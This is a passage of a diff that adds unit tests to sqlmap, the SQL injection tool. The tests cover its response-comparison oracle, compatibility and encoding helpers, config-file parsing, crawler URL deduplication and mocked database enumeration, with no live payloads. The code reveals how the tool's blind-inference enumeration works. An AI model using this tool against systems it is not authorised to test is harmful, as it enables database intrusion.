os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import jsonMinimize +from lib.core.data import conf, kb +from lib.core.enums import HTTP_HEADER +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.threads import getCurrentThreadData +from lib.request.comparison import comparison + + +class _Headers(object): + """Minimal stand-in for the per-response headers object the oracle receives.""" + def __init__(self, contentType): + self._ct = contentType + + def get(self, name, default=None): + return self._ct if (self._ct and name.lower() == HTTP_HEADER.CONTENT_TYPE.lower()) else default + + @property + def headers(self): + return ["%s: %s\r\n" % (HTTP_HEADER.CONTENT_TYPE, self._ct)] if self._ct else [] + + +class TestJsonMinimize(unittest.TestCase): + def test_order_and_whitespace_immune(self): + self.assertEqual(jsonMinimize('{"b":2,"a":1}'), jsonMinimize('{ "a": 1,\n "b": 2 }')) + + def test_value_flip_differs(self): + self.assertNotEqual(jsonMinimize('{"ok":true}'), jsonMinimize('{"ok":false}')) + + def test_array_length_registers(self): + self.assertNotEqual(jsonMinimize('{"r":[1,2,3]}'), jsonMinimize('{"r":[1,2,3,4]}')) + + def test_parse_failure_is_none(self): + for bad in ("", "{bad", "", "{'a':1}", None): + self.assertIsNone(jsonMinimize(bad)) + + def test_valid_edge_shapes_are_not_none(self): + # bare array, scalar, and top-level null are valid JSON -> defined (non-None) projections + for ok in ("[1,2]", "42", "null", '"x"'): + self.assertIsNotNone(jsonMinimize(ok)) + self.assertEqual(jsonMinimize("{}"), "") # empty object -> empty projection (not None) + + +class _OracleCase(unittest.TestCase): + _FLAGS = ("string", "notString", "regexp", "code", "titles", "textOnly") + _KB = ("matchRatio", "nullConnection", "heavilyDynamic", "skipSeqMatcher", + "errorIsNone", "negativeLogic", "dynamicMarkings", "testMode", "pageTemplate") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._FLAGS) + self._k = dict((k, kb.get(k)) for k in self._KB) + for k in self._FLAGS: + conf[k] = None + kb.nullConnection = kb.heavilyDynamic = kb.skipSeqMatcher = kb.errorIsNone = kb.negativeLogic = kb.testMode = False + kb.dynamicMarkings = [] + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def ratio(self, template, page, contentType): + # fresh, uncalibrated comparison each call + kb.matchRatio = None + kb.pageTemplate = template + td = getCurrentThreadData() + td.lastPageTemplate = None + return comparison(page, _Headers(contentType), getRatioValue=True) + + +class TestStructuredOracle(_OracleCase): + def test_noise_immunity_beats_text(self): + # same data, keys reordered + reindented: JSON path ~identical, text path measurably lower. + # This is D1's core win - reorder/whitespace noise (ubiquitous in real APIs) stops + # perturbing the ratio, which also stabilizes the kb.matchRatio calibration. + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role": "admin",\n "name": "alice",\n "id": 1 }' + jsonRatio = self.ratio(a, b, "application/json") + textRatio = self.ratio(a, b, "text/html") + self.assertGreater(jsonRatio, UPPER_RATIO_BOUND) # JSON: noise ignored -> True + self.assertLess(textRatio, jsonRatio) # text: perturbed by reordering + + def test_real_difference_still_detected(self): + # normalization must not over-collapse: a genuinely different value still separates + a = '{"role":"admin"}' + b = '{"role":"guest"}' + self.assertLess(self.ratio(a, b, "application/json"), UPPER_RATIO_BOUND) + + def test_html_contenttype_uses_text_path(self): + # identical inputs through a text/html response must equal the pure text baseline + a = '{"id":1,"name":"alice"}' + b = '{ "name": "alice", "id": 1 }' + conf.code = None + self.assertEqual(self.ratio(a, b, "text/html"), self.ratio(a, b, None)) + + def test_unparseable_json_falls_back(self): + # application/json Content-Type but a non-JSON body -> behaves exactly like the text path + a, b = "x", "y" + self.assertEqual(self.ratio(a, b, "application/json"), self.ratio(a, b, "text/html")) + + def test_structured_suffix_contenttype_gated_in(self): + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role":"admin", "name":"alice", "id":1 }' + self.assertGreater(self.ratio(a, b, "application/vnd.api+json; charset=utf-8"), UPPER_RATIO_BOUND) + + def test_textonly_escape_hatch_bypasses_json(self): + a = '{"id":1,"name":"alice"}' + b = '{ "name":"alice", "id":1 }' + withJson = self.ratio(a, b, "application/json") + conf.textOnly = True + withoutJson = self.ratio(a, b, "application/json") + self.assertGreater(withJson, withoutJson) # --text-only opts out of the JSON path + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_compat.py b/tests/test_compat.py new file mode 100644 index 00000000000..98c54434437 --- /dev/null +++ b/tests/test_compat.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/core/compat.py -- cross-version compatibility utilities, +including WichmannHill RNG, patchHeaders, cmp_to_key, LooseVersion, +MixedWriteTextIO, and _codecs_open. +""" + +import io +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, + round, cmp_to_key, LooseVersion, _is_write_mode, + MixedWriteTextIO, _codecs_open) + + +class TestWichmannHill(unittest.TestCase): + def test_seed_and_random(self): + r = WichmannHill(42) + self.assertIsInstance(r.random(), float) + self.assertGreaterEqual(r.random(), 0.0) + self.assertLess(r.random(), 1.0) + + def test_deterministic_seed(self): + r1 = WichmannHill(123) + r2 = WichmannHill(123) + # First random numbers should match + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + + def test_getstate_setstate(self): + r = WichmannHill(7) + for _ in range(20): + r.random() + state = r.getstate() + saved = [r.random() for _ in range(5)] + r.setstate(state) + self.assertEqual(saved, [r.random() for _ in range(5)]) + + def test_jumpahead(self): + r1 = WichmannHill(99) + r2 = WichmannHill(99) + for _ in range(10): + r1.random() + r2.jumpahead(10) + self.assertEqual(r1.getstate()[1], r2.getstate()[1]) + + def test_jumpahead_negative_raises(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.jumpahead(-1) + + def test_whseed(self): + # a fixed integer whseed must be deterministic across instances ... + r1 = WichmannHill() + r1.whseed(12345) + r2 = WichmannHill() + r2.whseed(12345) + self.assertEqual([r1.random() for _ in range(10)], + [r2.random() for _ in range(10)]) + # ... and pin the known sequence (hash(int) == int, so stable across processes) + r3 = WichmannHill() + r3.whseed(12345) + self.assertEqual([round(r3.random(), 6) for _ in range(3)], + [0.600031, 0.872148, 0.039151]) + + def test_whseed_none(self): + r = WichmannHill() + r.whseed() # seeds from current time; must not raise + # the time-derived seed must still drive a valid in-range sequence. (Non-determinism is NOT + # asserted here: __whseed() derives its seed from int(time.time()*256) masked to 24 bits, so + # two back-to-back instances legitimately collide - that would be a timing-fragile test. The + # os.urandom-backed seed() None path IS asserted non-deterministic in test_seed_none.) + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + # the seed must actually advance the generator (not stuck on a constant) + self.assertGreater(len(set(seq)), 1) + + def test_seed_none(self): + r = WichmannHill() + r.seed() # seeds from os.urandom/time; must not raise + seq = [r.random() for _ in range(10)] + self.assertTrue(all(isinstance(x, float) and 0.0 <= x < 1.0 for x in seq)) + other = WichmannHill() + other.seed() + self.assertNotEqual(seq, [other.random() for _ in range(10)]) + + def test_seed_hashable(self): + # a non-int hashable seed goes through hash(a); two instances seeded with the same + # object in the same process must produce the same sequence (determinism). The literal + # values are NOT pinned because hash() of a str is randomized per process. + r1 = WichmannHill("a_string_seed") + r2 = WichmannHill("a_string_seed") + seq = [r1.random() for _ in range(10)] + self.assertEqual(seq, [r2.random() for _ in range(10)]) + self.assertTrue(all(0.0 <= x < 1.0 for x in seq)) + # a different seed must yield a different sequence + r3 = WichmannHill("different_seed") + self.assertNotEqual(seq, [r3.random() for _ in range(10)]) + + def test_setstate_bad_version(self): + r = WichmannHill() + with self.assertRaises(ValueError): + r.setstate((999, (1, 1, 1), None)) + + +class TestPatchHeaders(unittest.TestCase): + def test_patches_dict_to_header_obj(self): + h = patchHeaders({"Host": "example.com", "Content-Type": "text/html"}) + self.assertEqual(h["host"], "example.com") + self.assertEqual(h["content-type"], "text/html") + self.assertEqual(h.get("HOST"), "example.com") + self.assertIsNone(h.get("missing")) + self.assertIsNotNone(h.headers) + self.assertTrue(any("Host: example.com" in _ for _ in h.headers)) + + def test_passthrough_none(self): + self.assertIsNone(patchHeaders(None)) + + def test_passthrough_existing_headers_attr(self): + d = {"A": "1"} + d["headers"] = [] + result = patchHeaders(d) + self.assertEqual(result, d) # unchanged + + +class TestCmp(unittest.TestCase): + def test_less(self): + self.assertEqual(cmp("a", "b"), -1) + + def test_greater(self): + self.assertEqual(cmp(2, 1), 1) + + def test_equal(self): + self.assertEqual(cmp(5, 5), 0) + + +class TestRound(unittest.TestCase): + def test_positive(self): + self.assertEqual(round(2.0), 2.0) + self.assertEqual(round(2.5), 3.0) + self.assertEqual(round(2.499), 2.0) + + def test_negative(self): + self.assertEqual(round(-2.5), -3.0) + self.assertEqual(round(-2.0), -2.0) + + def test_with_decimals(self): + self.assertAlmostEqual(round(2.567, d=2), 2.57) + + +class TestCmpToKey(unittest.TestCase): + def test_sort_with_cmp(self): + items = [3, 1, 4, 1, 5] + key_func = cmp_to_key(lambda a, b: (a > b) - (a < b)) + self.assertEqual(sorted(items, key=key_func), [1, 1, 3, 4, 5]) + + def test_reverse_sort(self): + items = [3, 1, 2] + key_func = cmp_to_key(lambda a, b: (b > a) - (b < a)) + self.assertEqual(sorted(items, key=key_func), [3, 2, 1]) + + def test_hash_raises(self): + k = cmp_to_key(lambda a, b: 0)(5) + with self.assertRaises(TypeError): + hash(k) + + +class TestLooseVersion(unittest.TestCase): + def test_basic(self): + self.assertEqual(LooseVersion("1.0"), (1, 0)) + self.assertEqual(LooseVersion("1.0.1"), (1, 0, 1)) + + def test_comparison(self): + self.assertTrue(LooseVersion("1.0.1") > LooseVersion("1.0")) + self.assertTrue(LooseVersion("8.0.22") > LooseVersion("8.0.2")) + + def test_no_digits(self): + self.assertEqual(LooseVersion("alpha"), ()) + self.assertEqual(LooseVersion(""), ()) + self.assertEqual(LooseVersion(None), ()) + + def test_with_suffix(self): + self.assertEqual(LooseVersion("1.0alpha"), (1, 0)) + self.assertEqual(LooseVersion("10.5.3-beta"), (10, 5, 3)) + + +class TestIsWriteMode(unittest.TestCase): + def test_write_modes(self): + for mode in ("w", "a", "x", "w+", "a+", "x+", "w+b", "ab"): + self.assertTrue(_is_write_mode(mode), msg="mode %r" % mode) + + def test_read_modes(self): + for mode in ("r", "rb", ""): + self.assertFalse(_is_write_mode(mode), msg="mode %r" % mode) + + +class TestMixedWriteTextIO(unittest.TestCase): + def test_text_write(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(u"hello") + self.assertEqual(buf.getvalue(), "hello") + + def test_bytes_write_decodes(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.write(b"world") + self.assertEqual(buf.getvalue(), "world") + + def test_writelines(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + w.writelines([u"a", u"b", u"c"]) + self.assertEqual(buf.getvalue(), "abc") + + def test_iterator(self): + buf = io.StringIO(u"line1\nline2\n") + w = MixedWriteTextIO(buf, "utf-8", "strict") + self.assertEqual(list(w), ["line1\n", "line2\n"]) + + def test_enter_exit(self): + buf = io.StringIO() + w = MixedWriteTextIO(buf, "utf-8", "strict") + with w as f: + f.write(u"test") + self.assertTrue(buf.closed) + + +class TestCodecsOpen(unittest.TestCase): + def test_no_encoding_returns_io_open(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding=None) + f.write(u"test") + f.close() + with open(tmp.name) as fh: + self.assertIn("test", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + f.write(u"caf\xe9") + f.close() + with open(tmp.name, "rb") as fh: + self.assertIn(b"caf\xc3\xa9", fh.read()) + finally: + os.unlink(tmp.name) + + def test_with_encoding_and_bytes(self): + tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) + tmp.close() + try: + f = _codecs_open(tmp.name, "w", encoding="utf-8") + # MixedWriteTextIO should accept bytes too + f.write(b"bytes_input") + f.close() + with open(tmp.name) as fh: + self.assertIn("bytes_input", fh.read()) + finally: + os.unlink(tmp.name) + + +class TestChooseBoundary(unittest.TestCase): + def test_length(self): + self.assertEqual(len(choose_boundary()), 32) + + def test_hex_chars(self): + b = choose_boundary() + self.assertTrue(all(c in "0123456789abcdef" for c in b)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_configfile.py b/tests/test_configfile.py new file mode 100644 index 00000000000..b09242b9533 --- /dev/null +++ b/tests/test_configfile.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the '-c' configuration-file contract. + +configFileParser() walks optDict and reads an option only from the section named after the family that +declares it, so an option is silently dropped - a debug line, nothing else - when the shipped template +and optDict disagree about either its NAME or its SECTION. Both halves of that contract are pinned here +because both had already drifted: three real switches were missing from optDict entirely, the +[Brute force] section could never match the "Brute" family, 'sessionFile' sat under [General] while it +is declared under Target, and two options outlived the switches they configured. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.optiondict import optDict + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +CONFIG = os.path.join(ROOT, "sqlmap.conf") + +_SECTION_REGEX = re.compile(r"^\[(?P.+)\]\s*$") +_OPTION_REGEX = re.compile(r"^(?P[A-Za-z][A-Za-z0-9_]*)\s*=") + + +def _configOptions(): + """Every (section, option) pair the shipped template declares, in file order.""" + + retVal, section = [], None + + with open(CONFIG) as f: + for line in f: + line = line.strip() + match = _SECTION_REGEX.match(line) + if match: + section = match.group("name") + continue + match = _OPTION_REGEX.match(line) + if match: + retVal.append((section, match.group("name"))) + + return retVal + + +def _sources(): + retVal = [] + + for root in ("lib", "plugins"): + for base, _, files in os.walk(os.path.join(ROOT, root)): + for name in files: + if name.endswith(".py"): + with open(os.path.join(base, name)) as f: + retVal.append(f.read()) + + return "\n".join(retVal) + + +class TestConfigFileContract(unittest.TestCase): + def test_template_is_not_empty(self): + self.assertGreater(len(_configOptions()), 100) + + def test_every_option_is_readable_from_its_section(self): + """The actual lookup configFileProxy() performs: optDict[section][option].""" + + unreadable = ["[%s] %s" % (section, option) for section, option in _configOptions() + if option not in optDict.get(section, {})] + self.assertEqual(unreadable, [], "silently ignored when set via '-c': %s" % ", ".join(unreadable)) + + def test_every_section_names_a_family(self): + sections = set(section for section, _ in _configOptions()) + self.assertEqual(sorted(sections - set(optDict)), []) + + def test_no_option_outlives_its_switch(self): + """An option nothing reads any more is worse than absent: it reads as supported and does + nothing. Consumption is either a 'conf.' reference or a lookup by name (the API and the + library facade address options as strings).""" + + sources = _sources() + orphans = sorted(set(option for _, option in _configOptions() + if not re.search(r"\bconf\.%s\b" % option, sources) and '"%s"' % option not in sources)) + self.assertEqual(orphans, [], "configure nothing: %s" % ", ".join(orphans)) + + +class TestConfigFileRoundTrip(unittest.TestCase): + """'--save' writes through the same optDict families, and the library facade serializes its kwargs + that way before handing them over as '-c'. So a config sqlmap writes must be one sqlmap can read.""" + + def test_saved_config_reads_back(self): + import tempfile + + from lib.core.common import saveConfig + from lib.core.data import conf + from lib.parse.configfile import configFileParser + + handle, path = tempfile.mkstemp(suffix=".ini") + os.close(handle) + + # `conf` is the process-wide singleton every other test file shares, so this one saves and + # restores the WHOLE of it. Clearing it (or leaving a key behind) is not a local mistake: an + # emptied conf makes `conf.get("direct")` answer for the rest of the run, which silently turns + # urlencode() into the identity function in test files that run later. + saved = dict(conf) + + try: + conf.url = "http://127.0.0.1:1/?id=1" + conf.commonTables = True + conf.tablePrefix = "zzz" + saveConfig(conf, path) + + conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten" + configFileParser(path) + + self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1") + self.assertTrue(conf.commonTables) + self.assertEqual(conf.tablePrefix, "zzz") + finally: + conf.clear() + conf.update(saved) + os.unlink(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_convert.py b/tests/test_convert.py new file mode 100644 index 00000000000..9ca997f5a7c --- /dev/null +++ b/tests/test_convert.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Encoding / decoding / serialization round-trips and known vectors. +Covers: hex, base64 (std + url-safe), DBMS hex decode, byte<->text conversion, +JSON (de)serialization, restricted base64-pickle. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, + getBytes, getText, getUnicode, getOrds, + jsonize, dejsonize, serializeValue, deserializeValue) +from lib.core.common import decodeDbmsHexValue + +try: + unichr = unichr +except NameError: + unichr = chr + +RND = random.Random(0xC0FFEE) + + +def _rand_bytes(maxlen=48): + return bytes(bytearray(RND.randint(0, 255) for _ in range(RND.randint(0, maxlen)))) + + +class TestHex(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeHex("31323334", binary=True), b"1234") + self.assertEqual(getText(encodeHex(b"1234", binary=False)), "31323334") + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeHex(encodeHex(raw, binary=False), binary=True), raw) + + +class TestBase64(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeBase64("MTIz", binary=True), b"123") + self.assertEqual(decodeBase64("MTIzNA", binary=True), b"1234") # missing padding + self.assertEqual(decodeBase64("MTIzNA==", binary=True), b"1234") + self.assertEqual(getText(encodeBase64(b"123", binary=False)), "MTIz") + # url-safe and standard alphabets must decode equivalently + self.assertEqual(decodeBase64("A-B_CDE", binary=True), decodeBase64("A+B/CDE", binary=True)) + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, safe=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, padding=False), binary=True), raw) + + +class TestDecodeDbmsHexValue(unittest.TestCase): + # authoritative vectors taken from the function's own doctests + def test_known_vectors(self): + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + self.assertEqual(decodeDbmsHexValue("31003200330020003100"), u"123 1") # utf-16-le shaped + self.assertEqual(decodeDbmsHexValue("00310032003300200031"), u"123 1") # utf-16-be shaped + self.assertEqual(decodeDbmsHexValue("0x31003200330020003100"), u"123 1") + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") # odd length + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) # list input + + def test_ascii_roundtrip_property(self): + for _ in range(1000): + s = "".join(chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(1, 30))) + if len(s) % 2 == 0: # avoid the deliberate odd-length '?' behavior + self.assertEqual(decodeDbmsHexValue(getText(encodeHex(getBytes(s), binary=False))), s) + + +class TestByteTextConversion(unittest.TestCase): + def test_ascii_roundtrip(self): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_unicode_roundtrip(self): + samples = [u"café", u"你好", u"\U0001F600", u"a’b™c"] + for s in samples: + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_getords(self): + self.assertEqual(getOrds(b"AB"), [65, 66]) + + +class TestJson(unittest.TestCase): + def test_roundtrip(self): + for obj in [{"a": 1, "b": [1, 2, 3]}, [1, "x", None], {"nested": {"k": "v"}}, "str", 123]: + self.assertEqual(dejsonize(jsonize(obj)), obj) + + def test_jsonize_produces_text_not_identity(self): + # anchor: jsonize must serialize to a JSON string, not pass the object through + out = jsonize({"a": 1}) + self.assertIsInstance(out, str) + self.assertIn('"a"', out) + self.assertEqual(jsonize(123), "123") # int -> textual "123" + + +class TestSerialize(unittest.TestCase): + # Smoke coverage of the safe (JSON-based) session serializer; the exhaustive corner-case + # and security suite lives in tests/test_serialize.py. + def test_roundtrip_allowed_types(self): + for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: + self.assertEqual(deserializeValue(serializeValue(obj)), obj) + + def test_bytes_roundtrip(self): + for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: + self.assertEqual(deserializeValue(serializeValue(raw)), raw, msg="bytes round-trip %r" % raw) + + def test_bytes_nested_in_container_roundtrip(self): + for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: + self.assertEqual(deserializeValue(serializeValue(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + + def test_output_is_plain_ascii_text_no_base64(self): + # the serialized form must be readable JSON text (not Base64 / binary) so it lands verbatim in + # the TEXT session column with zero wrapping overhead + out = serializeValue({"k": [1, (2, 3)]}) + self.assertIsInstance(out, str) + self.assertTrue(out.startswith("{") and out.endswith("}"), out) + + def test_deserialize_accepts_bytes(self): + # BigArray hands the serialized data back as bytes (off a compressed disk chunk) + self.assertEqual(deserializeValue(getBytes(serializeValue([1, (2, 3)]))), [1, (2, 3)]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_crawler.py b/tests/test_crawler.py new file mode 100644 index 00000000000..709e25896b7 --- /dev/null +++ b/tests/test_crawler.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Crawler result normalization (lib/utils/crawler.py normalizeCrawlingResults). + +--crawl can surface thousands of near-identical URLs; normalization keeps one +representative per distinct endpoint+parameter shape so the scan is not flooded +with value-only variants. The key must span the full path: collapsing on the +last path segment alone silently drops distinct endpoints that share an action +name (e.g. /users/edit vs /products/edit), losing real attack surface. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.crawler import normalizeCrawlingResults + + +def _t(url, data=None): + # kb.targets tuple shape: (url, method, data, ...) + return (url, None, data, None, None) + + +class TestNormalizeCrawlingResults(unittest.TestCase): + def _urls(self, targets): + return [t[0] for t in normalizeCrawlingResults(targets)] + + def test_value_only_variants_collapse(self): + kept = self._urls([_t("http://h/item?id=1"), _t("http://h/item?id=2"), _t("http://h/item?id=3")]) + self.assertEqual(kept, ["http://h/item?id=1"]) + + def test_distinct_endpoints_sharing_action_are_kept(self): + # the regression: /users/edit and /products/edit must not collapse on the shared last segment + kept = self._urls([_t("http://h/users/edit?id=1"), + _t("http://h/products/edit?id=1"), + _t("http://h/orders/edit?id=1"), + _t("http://h/users/edit?id=2")]) + self.assertEqual(set(kept), {"http://h/users/edit?id=1", + "http://h/products/edit?id=1", + "http://h/orders/edit?id=1"}) + + def test_different_parameter_names_are_kept(self): + kept = self._urls([_t("http://h/p?id=1"), _t("http://h/p?name=x")]) + self.assertEqual(set(kept), {"http://h/p?id=1", "http://h/p?name=x"}) + + def test_different_hosts_are_kept(self): + kept = self._urls([_t("http://a.tld/edit?id=1"), _t("http://b.tld/edit?id=1")]) + self.assertEqual(set(kept), {"http://a.tld/edit?id=1", "http://b.tld/edit?id=1"}) + + def test_post_data_folded_into_shape(self): + # POST body params participate in the shape, and value-only POST variants collapse + kept = self._urls([_t("http://h/login", "user=a&pass=b"), _t("http://h/login", "user=c&pass=d")]) + self.assertEqual(kept, ["http://h/login"]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py new file mode 100644 index 00000000000..e3136011803 --- /dev/null +++ b/tests/test_databases_enum.py @@ -0,0 +1,773 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/databases.py. + +The injection layer (lib.request.inject.getValue) is mocked so no network or +live DBMS is required; each test drives a single enumeration method down a +specific branch (conf.direct "inband" path or the isInferenceAvailable() blind +path) and asserts on the returned value / kb.data.cached* state. + +CRITICAL: every test restores conf.*, the patched dbmod.inject.getValue, and the +mutated kb.data flags in tearDown so global state does not leak into the rest of +the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.databases as dbmod +from plugins.generic.databases import Databases + +# Databases.forceDbmsEnum() is supplied at runtime by the concrete dbms fingerprint +# plugin mixin (plugins/dbms/*/fingerprint.py); a bare Databases() instance lacks it, +# so neutralize it for the duration of these tests. Restored in tearDown via the saved ref. +_NOOP = lambda self: None + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class _BaseEnumTest(unittest.TestCase): + """Shared setup/teardown that snapshots and restores all touched global state.""" + + # conf keys every test may read/write + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + # the inference paths of getTables/getColumns set kb.hintValue as a side effect; + # snapshot it so we never leak a stale hint into other test files (e.g. the + # inference engine's tryHint(), whose setUp does not reset it). + self._saved_hintValue = kb.get("hintValue") + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + # sane defaults shared by most tests + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + # helpers ----------------------------------------------------------------- + + def _fresh(self): + """Return a Databases() instance with every cache reset to empty.""" + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _enable_inference(self): + """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" + conf.direct = False + conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestGetCurrentDb(_BaseEnumTest): + def test_current_db_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "testdb" + self.assertEqual(d.getCurrentDb(), "testdb") + self.assertEqual(kb.data.currentDb, "testdb") + + def test_current_db_cached(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.currentDb = "already" + + def _boom(*a, **k): + raise AssertionError("inject.getValue must not be called when currentDb is cached") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getCurrentDb(), "already") + + def test_current_db_oracle_schema_warning_branch(self): + # Oracle takes the schema-name warning branch; result still returned. + set_dbms("Oracle") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "SYSTEM" + self.assertEqual(d.getCurrentDb(), "SYSTEM") + + +class TestGetDbs(_BaseEnumTest): + def test_get_dbs_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["information_schema"], ["mysql"], ["testdb"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "mysql", "testdb"]) + self.assertIn("testdb", kb.data.cachedDbs) + + def test_get_dbs_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedDbs = ["pre", "cached"] + + def _boom(*a, **k): + raise AssertionError("must not query when cachedDbs is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getDbs(), ["pre", "cached"]) + + def test_get_dbs_direct_pgsql_schema_branch(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["public"], ["information_schema"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", 